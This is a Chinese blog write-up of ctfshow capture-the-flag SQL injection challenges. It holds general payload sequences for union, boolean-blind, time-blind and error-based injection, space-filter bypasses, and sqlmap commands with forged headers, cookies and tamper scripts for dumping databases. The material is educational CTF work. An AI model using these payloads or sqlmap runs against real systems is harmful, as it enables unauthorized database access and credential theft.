ctfshow——SQL注入

devtools/2024/10/21 1:26:38/

文章目录

  • SQL注入基本流程
    • 普通SQL注入
    • 布尔盲注
    • 时间盲注
    • 报错注入——extractvalue()
    • 报错注入——updataxml()
    • Sqlmap的用法
  • web 171——正常联合查询
  • web 172——查看源代码、联合查询
  • web 173——查看源代码、联合查询
  • web 174——布尔盲注
  • web 176
  • web 177——过滤空格
  • web 178——过滤空格
  • web 179——过滤空格
  • web 180——过滤空格
  • web 181
  • web 182
  • web 201——referer、user-agent
  • web 202——data
  • web 203——method、headers
  • web 204——cookie
  • web 205——鉴权
  • web 206——前后闭合
  • web 207——tamper、过滤空格

SQL注入基本流程

普通SQL注入

	id=1'    //报错,说明有注入点id=1 and 1=1 # //正确id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入id=1 order by <数字> # //判断字段数id=1 and 1=2 union select 1,2,3, ... #   //查看回显点id=1 and 1=2 union select 1,2,database(), ... #   //查看数据库名id=1 and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名') #   //查看表名id=1 and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名') #  //查看字段名id=1 and 1=2 union select 1,(select group_concat(concat(字段1,'%23',字段2)) from 数据库名.表名) #   //查看字段内容

使用union select的时候,需要使前面一条语句错误。
关于注释符#-- (有个空格)--+的讨论

  • get请求中只能用--+
    url中#是用来指导浏览器动作的,对服务器端无效;在url传输过程中,-- 中的空格会被忽略。
  • post请求中则都可以。

布尔盲注

	id=1' //报错,说明有注入点id=1 and 1=1 # //正确id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入id=1 and length(database())=1 # //判断数据库名长度id=1 and ascii(substr(database(),1,1))=98 # //猜数据库名id=1 and (select count(table_name) from information_schema.tables where table_schema=database())=1 # // 猜表的个数id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1))=103 # // 猜第一个表名的长度id=1 and (select+count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 # // 猜user表中的字段个数id=1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7 # //猜user表中第一个字段的长度id=1 and ascii(substr((select column_name from+information_schema.columns where table_name='users' limit 0,1),1,1))=117 # //猜user表中第一个字段的第一个字母id=1 and length((select user from dvwa.users limit 0,1))=5 # // 猜user表中user字段内容的长度id=1 and ascii(substr((select user from dvwa.users limit 0,1),1,1))=97 # //猜user表中中user字段值的首字母

时间盲注

	id=1 and sleep(5) # //数字型则等待5秒id=1' and sleep(5) # //字符型则等待5秒id=1 and if(length(database())=4,sleep(5),1) # //猜数据库名长度id=1 and if(ascii((substr(database(),1,1)))=100,sleep(5),1) # //猜数据库名id=1 and if(select count(table_name) from information_schema.tables where table_schema=database(),sleep(5),1)=1 # // 猜表的个数id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1))=103,sleep(5),1) # // 猜第一个表名的长度id=1 and if((select+count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8,sleep(5),1) # // 猜user表中的字段个数id=1 and if(length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7,sleep(5),1) # //猜user表中第一个字段的长度id=1 and if(ascii(substr((select column_name from+information_schema.columns where table_name='users' limit 0,1),1,1))=117,sleep(5),1) # //猜user表中第一个字段的第一个字母id=1 and if(length((select user from dvwa.users limit 0,1))=5,sleep(5),1) # // 猜user表中user字段内容的长度id=1 and if(ascii(substr((select user from dvwa.users limit 0,1),1,1))=97,sleep(5),1) # //猜user表中中user字段值的首字母

报错注入——extractvalue()

id=1' #   //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入id=1' and (select extractvalue(1,concat('~',(select database())))) --+ //爆出当前数据库名
id=1' and (select extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='数据库名')))) --+ //查看数据库中的表
id=1' and (select extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名')))) --+ //查看表中的字段名
id=1' and (select extractvalue(1,concat('~',(select group_concat(concat(字段1,'%23',字段2))))) --+ //查看字段内容

进行报错注入的时候,需要对id参数进行闭合。

报错注入——updataxml()

id=1' #   //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入id=1' and (select updatexml(1,concat('~ ',(select database()), '~'),1)) --+ //爆出当前数据库名
id=1' and (select updatexml(1,concat('~ ',(select group_concat(table_name) from information_schema.tables where table_schema='数据库名'), '~'),1)) //查看数据库中的表
id=1' and (select updatexml(1,concat('~ ',(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'), '~'),1)) //查看表中的字段名
id=1' and (select updatexml(1,concat('~ ',(select group_concat(concat(字段1,'%23',字段2))), '~'),1)) --+ //查看字段内容

Sqlmap的用法

sqlmap
sqlmap -u "url"  //-u选项是检测注入点
sqlmap -u "url" --dbs  //--dbs选项是列出所有数据库名
sqlmap -u "url" --current-db  //--current-db选项是列出当前数据库的名字
sqlmap -u "url" -D "数据库名" --tables //-D是指定一个数据库  --tables是列出这个数据库的所有表名
sqlmap -u "url" -D "数据库名" -T "表名" --columns //-T是指定表名  --columns是列出所有的字段名
sqlmap -u "url" -D "数据库名" -T "表名" -C "字段名" --dump //-C是指定字段  --dump是列出字段内容

web 171——正常联合查询

在这里插入图片描述
首先判断是否存在SQL注入:

id=1' # 使用单引号看报不报错,报错就说明存在SQL注入

在这里插入图片描述

id=1' order by 3 --+ 

注意:如果id='1--+',这里面的注释(--+)是不起效的。

在这里插入图片描述

id=-1' union select 1,2,3 --+ # union前面的查询语句必须为false,这样页面才会显示出第二个select语句的结果。

在这里插入图片描述

-1' union select database(),(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user') --+ # 查看数据库名、表名、字段名

在这里插入图片描述

-1' union select 1,2,(select group_concat(concat(username,'%23',password)) from ctfshow_web.ctfshow_user) --+ # 查看字段内容

在这里插入图片描述

web 172——查看源代码、联合查询

查看页面源代码,发现一个js文件。访问该文件,会发现一个查询接口/api?id=1

在这里插入图片描述

	id=1'    //报错,说明有注入点id=1 and 1=1 # //正确id=1 and 1=2 # //正确,说明不是数字型注入id=1' and 1=1 # 正确id=1' and 1=2 # //错误,说明是单引号闭合的字符型注入id=1' order by <数字> # //判断字段数id=-1' union select 1,2,3, ... #   //查看回显点id=-1' union select 1,2,database(), ... #   //查看数据库名id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名') #   //查看表名id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名') #  //查看字段名id=-1' union select 1,(select group_concat(concat(字段1,'%23',字段2)) from 数据库名.表名) #   //查看字段内容

注意:关于and 1=1and 1=2,前者恒为真,如果and前面的语句有内容,则正常输出;后者恒为假,如果and前面的语句有内容,也不会输出。故,可以通过他们俩来判断SQL注入类型。

在这里插入图片描述

web 173——查看源代码、联合查询

同web172

web 174——布尔盲注

id=1' //判断是否存在SQL注入
id=1 and 1=1 # //正确
id=1 and 1=2 # //正确,说明不是数字型注入id=1' and 1=1 # //正确
id=1' and 1=2 # //错误,说明是单引号闭合的字符型注入
id =1' and length(database())=11 --+ //通过布尔盲注猜测数据库长度

在这里插入图片描述

web 176

1' or 1=1 --+

在这里插入图片描述

web 177——过滤空格

空格被过滤,就用/**/替换。
在这里插入图片描述

web 178——过滤空格

空格被过滤,/**/也用不了,用%09%0b替换。
在这里插入图片描述

web 179——过滤空格

空格被过滤,/**/%09%0b也用不了,用%0c替换。
在这里插入图片描述

web 180——过滤空格

空格被过滤,/**/+%09%0b也用不了,用%0c%2b(+的url编码)替换。
在这里插入图片描述

web 181

payload: 0'or(username='flag')and'1,插入payload后语句变成:
select id,username,password from ctfshow_user where username != 'flag' and id = '0'or(username='flag')and'1' limit 1;

  • 因为and 的优先级比 or 要高,故注入后:
    select id,username,password from ctfshow_user where username != 'flag' and id = '0'or(username='flag') limit 1;
  • 前面满足条件 id=0 的记录不存在,故该语句可简化为
    select id,username,password from ctfshow_user where (0) or(username='flag')and'1' limit 1;
  • 先计算 and,再计算 or,最后得到满足 username='flag' 的记录,即 flag
    在这里插入图片描述

web 182

payload: -1'or(username%0clike%0c'%fla%')and%0c'1。不知道为啥这里%0c没有被过滤。
在这里插入图片描述

web 201——referer、user-agent

这一关开始使用sqlmap。
在这里插入图片描述
User-Agent需要为sqlmapreferer需要为stf.show
在这里插入图片描述
一种方法是抓取数据包,让sqlmap跑数据包;另一种方法是用-u参数指定要测试的网址,--user-agent用来指定UA头,--referer伪造referer。命令如下:

python sqlmap.py -r test.txt //跑数据包
python sqlmap.py -u "http://6e28402d-8f54-45bc-8a52-657ffc3c35fe.challenge.ctf.show/api/?id=1&page=1&limit=10" --user-agent=sqlmap --referer=ctf.show
  • 跑数据包的时候,在需要跑的参数后面加*
  • -u参数中,链接用双引号、加上协议。

在这里插入图片描述
在这里插入图片描述

web 202——data

--data指定 sqlmap 以 post 方式提交数据。

python sqlmap.py -u "https://604a8386-7689-44bb-a7e1-b532cbe9ff5a.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show

在这里插入图片描述

web 203——method、headers

--method=put:更改http请求方式为put,put请求用于向服务器更新指定资源。--headers用来告诉服务器这次传输的数据格式。

python sqlmap.py -u "http://a8e2bd07-1e16-4e83-9752-5634117000e4.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=put --header="Content-Type:text/plain"

web 204——cookie

--cookie:在请求头中添加cookie字段。

python sqlmap.py -u "http://5c93dea2-8127-4efb-915b-7564efdc6107.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=put --headers="Content-Type:text/plain" --cookie="PHPSESSID=jc9bhjq7q61trcapiu02gm6430; ctfshow=124cf7ab13ecc64b6e21a9de8cdb8511"

要将url链接写完整,index.php都要加上!!!

web 205——鉴权

这一关在正式查询之前,会先访问/api/getToken.php进行鉴权。--safe-url=SAFEURL:设置在测试目标地址前访问的安全链接。--safe-freq=1:每次测试请求之后都会访问一下的安全 URL。

python sqlmap.py -u "http://879bff8e-d7da-4064-ba34-093ed4aa03da.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=put --headers="Content-Type:text/plain" --cookie="PHPSESSID=vlqa3pc2obqitu6addelltlqj7" --safe-url="http://879bff8e-d7da-4064-ba34-093ed4aa03da.challenge.ctf.show/api/getToken.php" --safe-freq=1

web 206——前后闭合

这一关需要闭合前面的(',所以--prefic="')"闭合('--suffic="#"注释掉查询语句后面的部分。
在这里插入图片描述

python sqlmap.py -u "http://351530ad-baec-440f-9296-b317d6187679.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=put --headers="Content-Type:text/plain" --cookie="PHPSESSID=ggtmp49c0gjq9fihihrhkij83m" --safe-url="http://351530ad-baec-440f-9296-b317d6187679.challenge.ctf.show/api/getToken.php" --safe-freq=1 --prefix="')" --suffix="#"

web 207——tamper、过滤空格

过滤空格
在这里插入图片描述

python sqlmap.py -u "http://75b5df82-82e4-44ec-8bfb-8e99392e8202.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=put --headers="Content-Type:text/plain" --cookie="PHPSESSID=43010km376i0fhhmsn6lopr3r3" --safe-url="http://75b5df82-82e4-44ec-8bfb-8e99392e8202.challenge.ctf.show/api/getToken.php" --safe-freq=1 --prefix="')" --suffix="#" --tamper=space2comment

http://www.ppmy.cn/devtools/32656.html

相关文章

gateway linux远程后端 连接报错:“exit code: 1“

gateway linux远程后端 连接时报错&#xff1a;“exit code: 1” 问题细节 之前使用gateway连接过&#xff0c;但某次连接时报错日志如下&#xff0c;面板会弹出信息&#xff0c;也可在C:\Users\YJM\AppData\Local\JetBrains\IntelliJIdea2023.3\log\gateway\20240504-171145…

关于作者

< 回到目录 关于作者 我本科毕业于耶鲁大学&#xff0c;90年代在凯洛格商学院读书&#xff0c;然后加入了门洛帕克的一家私募股权公司&#xff08;Spectrum Equity&#xff09;。当时互联网风起云涌&#xff0c;所以我选择在1999年创办了一家名为Totality的公司&#xff0c…

open3d 处理las点云数据

laspy读取las点云数据 转换格式 open3d 处理:法向量估计 分享给有需要的人,代码质量勿喷。 import numpy as np import os import math import laspy import open3d as o3d# 输入文件夹路径 dirInput = "F://data"# 要筛选的文件后缀 extension = ".las&q…

(4)传输层

1.TCP/UDP区别 2.TCP流量控制P60 3.TCP拥塞控制P61 实际曲线尽量接近理想曲线 4.TCP超时重传时间的选择P62 5.TCP可靠传输的实现P63 6.TCP连接管理 建立 释放 7.TCP报文段的首部格式P66

创维汽车亮相2024北京车展 100kW直流放电技术颠覆传统补能体系

在新质生产力的推动下&#xff0c;汽车行业正面临重塑产业格局、实现转型升级的迫切需求。4月25日&#xff0c;以“新时代 新汽车”为主题的2024北京国际汽车展览会拉开帷幕。作为拥有深厚制造业基因的企业&#xff0c;创维汽车于当日下午举办主题为“颠覆-开启移动补能新时代”…

数据结构之链表深度讲解

小伙伴们&#xff0c;大家好呀&#xff0c;上次听我讲完顺序表想必收获不少吧&#xff0c;嘿嘿&#xff0c;这篇文章你也一样可以学到很多&#xff0c;系好安全带&#xff0c;咱们要发车了。 因为有了上一次顺序表的基础&#xff0c;所以这次我们直接进入正题&#xff0c;温馨…

吴恩达2022机器学习专项课程C2(高级学习算法)W1(神经网络):2.1神经元与大脑

目录 神经网络1.初始动机*2.发展历史3.深度学习*4.应用历程 生物神经元1.基本功能2.神经元的互动方式3.信号传递与思维形成4.神经网络的形成 生物神经元简化1.生物神经元的结构2.信号传递过程3.生物学术语与人工神经网络 人工神经元*1.模型简化2.人工神经网络的构建3.计算和输入…

目标跟踪—卡尔曼滤波

目标跟踪—卡尔曼滤波 卡尔曼滤波引入 滤波是将信号中特定波段频率滤除的操作&#xff0c;是抑制和防止干扰的一项重要措施。是根据观察某一随机过程的结果&#xff0c;对另一与之有关的随机过程进行估计的概率理论与方法。 历史上最早考虑的是维纳滤波&#xff0c;后来R.E.卡…